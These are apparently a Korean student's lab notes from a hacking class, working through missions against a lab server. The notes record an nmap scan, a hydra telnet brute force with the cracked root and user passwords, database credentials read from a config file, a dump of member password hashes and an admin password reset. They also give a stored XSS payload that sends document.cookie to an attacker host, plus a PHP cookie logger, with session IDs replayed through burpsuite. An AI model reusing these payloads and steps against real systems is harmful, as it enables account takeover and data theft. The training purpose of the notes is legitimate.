DAY26
DAY26

미션1: 배포된 암호와 계정을 이용하여 Attack.py로 192.168.0.127를 공격하라


kali대신 xshell 쓰고싶을 때 오류시
systemctl start ssh 확인하기

nmap -v -sS -O 192.168.0.127/32
=> 포트 23,80,3306 열린 것 확인

hydra -l account.txt -P passwd.txt.1 192.168.0.127 telnet

(board/p2puDN00)
(root/1TLBB7Nz)


Bootstrap Example

미션2: 서버가 운영중인 서비스와 설치된 파일의 위치 찾기


포트 23번
포트 80번
-> /var/www/html이 없음
(apache 경로 찾기)

=>/usr/local/apache/htdocs
vi index.html

:q! 저장하지 않고 나가기
:wq 저장하고 나가기

(root/1TLBB7Nz)


Bootstrap Example

미션3: 데이터베이스 접속하기


cd /usr/local/apache/htdocs/nayamall/inc
cat connect.inc
=> (shop/fnxm)

cd /tmp
cd /usr/local/mysql/bin
./mysql -u root -p shop


Bootstrap Example

미션4: 쇼핑몰 관리자의 암호는 무엇인가?


(shop/fnxm)

show tables;
desc paran_board_memeber;
select user_id,password,name,level from paran_board_member;

user_id | password         | name       | level |
+---------+------------------+------------+-------+
| admin   | 30023cd66915635c | ¼¥°󁘠  |     1 |
| exploit | 093021136d155fe7 | ¹ށ󈐁¦¿Ӡ|     8 |
| buycar  | 1a4db7cd1cf355d5 | buycar     |     1 |
| ggum    | 446bcd2c0c82914f | ff         |     8 |
| stu0    | 6678c4aa7dd72b33 | µ¿Ɇ       |     8 |

=> 암호를 복호화하는 것은 거의 불가능...하므로... root 계정을 이용해 shop의 암호를 바꾸자!

192.168.0.127/nayamall/member_join.php
	$join_query = ~~~password('$password') ~~~password()함수를 통해 저장되기 때문에 확인이 불가능하다
mysql
update paran_board_member set password('123456') where user_id='admin';
select user_id,password,name,level from paran_board_member;


Bootstrap Example

미션5: csrf공격 응용하기


< script>alert("");< /script>
//알림창 띄우기
< script>location.href='http://google.com';< /script>
//페이지 강제 이동
< script>alert(document.cookie);< /script>
//누른사람의 쿠키 자동 수집
< script>location.href='http://192.168.0.214/cookie.php?cookie='+document.cookie< /script> 
//document. 자바에서 사용하는 함수
=> 위 스크립트를 작성글을 올려서 관리자가 글을 누르면 쿠키를 수집하고 다른 페이지로 이동(광고인척)하도록 php 짜기

cookie.php
                   
< ?php
  $cookie = $_GET['cookie'];
  $file = '/home/kali/public_html/cookie.txt';
  $handle = fopen($file, 'a');
        fwrite($handle,"쿠키값\n");
        fwrite($handle,"$cookie\n");

        //파일닫기
        fclose($handle);
?>

< script>window.location.href="https://google.com";< /script>


http://192.168.0.214/cookie.php?cookie=
=> cookie.txt파일로 확인할 수 있음

burpsuite로 쿠키값 넣어서 접속하기

교수님
PessionID=6636bec6c480439a7800c343a03397c8;
PHPSESSID=42d3b78c899c5aa4db7ef511869a6487 (안써도됨)

문제: 결제 설정에 은행명과 계좌번호는 무엇인가?
워니은행 000-1111-2222-3333 (주)산특